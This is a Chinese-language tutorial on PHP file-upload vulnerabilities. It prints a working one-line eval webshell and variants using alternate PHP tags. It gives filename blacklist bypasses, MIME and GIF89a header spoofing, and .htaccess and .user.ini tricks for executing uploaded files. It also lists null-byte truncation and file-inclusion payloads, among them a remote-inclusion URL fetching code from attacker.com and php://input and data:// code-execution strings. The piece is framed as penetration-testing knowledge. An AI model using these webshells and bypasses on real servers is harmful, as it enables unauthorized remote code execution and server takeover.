PHP文件上传漏洞原理与常见绕过技巧深度解析
Webshell 基础与执行原理
在PHP环境中,攻击者通常通过上传包含恶意代码的脚本(即Webshell)来获取服务器控制权。最经典的一句话木马利用了动态执行函数的特性。
<?php
$payload = $_POST['action'];
@eval($payload);
?>
上述代码中,$_POST['action'] 接收客户端通过POST请求传递的指令。eval() 函数将接收到的字符串作为PHP代码动态执行。前缀 @ 用于屏蔽执行过程中可能产生的错误回显,从而隐藏攻击痕迹。
漏洞利用流程
成功将恶意脚本上传至服务器后,攻击者需通过HTTP请求访问该文件并传递参数。例如,若文件上传至 /uploads/shell.php,可通过POST请求发送 action=system('whoami'); 来执行系统命令。
在实际渗透测试中,通常会借助图形化管理工具(如中国蚁剑、冰蝎或哥斯拉)来简化连接和命令执行过程。

常见上传限制与绕过策略
1. 前端 JavaScript 校验绕过
部分应用仅在浏览器端通过JavaScript验证文件扩展名。攻击者可通过浏览器开发者工具(F12)直接禁用JS执行,或者在本地构造HTML表单并提交,从而绕过前端限制。若需观察上传后的回显路径,可暂时恢复JS执行以获取服务器返回的存储路径。
2. MIME 类型与文件头伪造
服务端可能通过检查HTTP请求头中的 Content-Type 或文件魔术字节(Magic Bytes)来验证文件类型。
常见 MIME 类型参考:
- 图像类:
image/jpeg,image/png,image/gif,image/webp - 文档类:
application/pdf,application/msword,text/plain - 压缩包类:
application/zip,application/x-rar-compressed
文件头伪造:
对于图像验证,可在文件内容开头添加特定的文件头标识。例如,GIF图片的标识为 GIF89a。通过抓包工具(如Burp Suite)拦截请求,将 Content-Type 修改为 image/gif,并在文件内容首部插入 GIF89a,即可欺骗仅检查文件头的后端逻辑。

3. 黑名单过滤绕过
当服务端采用黑名单机制禁止特定后缀(如 .php)时,可尝试以下技巧:
- 双写绕过:针对仅替换一次关键字的过滤逻辑,使用
shell.phphpp,替换后变为shell.php。 - 大小写混写:在大小写不敏感的系统(如Windows)中,使用
shell.PhP。 - 罕见后缀:尝试
.php3,.php5,.phtml,.pht等可被Web服务器解析的后缀。 - Windows 特性利用:
- 末尾加空格:
shell.php(Windows会自动去除文件名末尾的空格)。 - 末尾加点:
shell.php.(Windows会自动去除文件名末尾的点)。 - NTFS 备用数据流:
shell.php::$DATA。
- 末尾加空格:
4. 代码标签与内容混淆
若服务端过滤了标准的 <?php 标签,可尝试替代语法(需注意PHP版本兼容性):
<!-- 短标签(需开启 short_open_tag) -->
<? @system($_GET['exec']); ?>
<!-- ASP 风格标签(PHP 7.0 已移除) -->
<% eval($_POST['cmd']); %>
<!-- Script 标签(PHP 7.0 已移除) -->
<script language="php">system('id');</script>
5. 服务器配置文件利用
通过上传特定的配置文件,改变服务器对当前目录文件的解析规则。
Apache (.htaccess):
# 将 .txt 文件作为 PHP 脚本解析
AddType application/x-httpd-php .txt
上传此文件后,再上传名为 webshell.txt 的木马即可执行。
PHP-FPM (.user.ini):
# 自动在每个PHP文件前包含指定文件
auto_prepend_file=avatar.jpg
将木马代码写入 avatar.jpg 并上传,只要同目录下有其他正常的PHP文件被访问,木马代码就会被自动加载执行。
文件包含漏洞协同利用
当直接上传的Webshell无法被解析时,可结合文件包含漏洞(LFI/RFI)来执行恶意代码。PHP的 include() 或 require() 函数在引入文件时,会将其内容作为PHP代码解析。
- 本地文件包含 (LFI):
http://target.com/index.php?module=uploads/image.jpg - 远程文件包含 (RFI):
http://target.com/index.php?module=http://attacker.com/shell.txt(需allow_url_include=On)
%00 截断技巧
在 PHP 5.3.4 之前的版本中,若 magic_quotes_gpc 处于关闭状态,可利用 URL 编码的 %00(空字节)进行截断。例如,当服务端强制追加 .jpg 后缀时,上传文件名设为 shell.php%00,最终保存的文件名将被截断为 shell.php。
PHP 伪协议应用
PHP 支持多种伪协议,在文件包含或上传场景下可用于读取源码或执行代码。
file://:访问本地文件系统。php://filter:用于读取文件内容并进行编码,常用于获取源码。php://input:读取 POST 请求的原始数据,可配合include()执行代码。data://:直接传递数据流。phar://与zip://:访问压缩包内的文件。
常用 Payload 示例:
# 读取 config.php 源码并进行 Base64 编码
php://filter/read=convert.base64-encode/resource=config.php
# 通过 php://input 执行代码 (POST 数据: <?php system('ls -la'); ?>)
index.php?file=php://input
# 使用 data 协议执行代码 (需 allow_url_include=On)
index.php?file=data://text/plain,<?php phpinfo(); ?>
index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
# 读取 zip 压缩包内的文件 (注意 # 需编码为 %23)
zip://uploads/archive.zip%23shell.php
# 读取 phar 压缩包内的文件
phar://uploads/package.phar/shell.php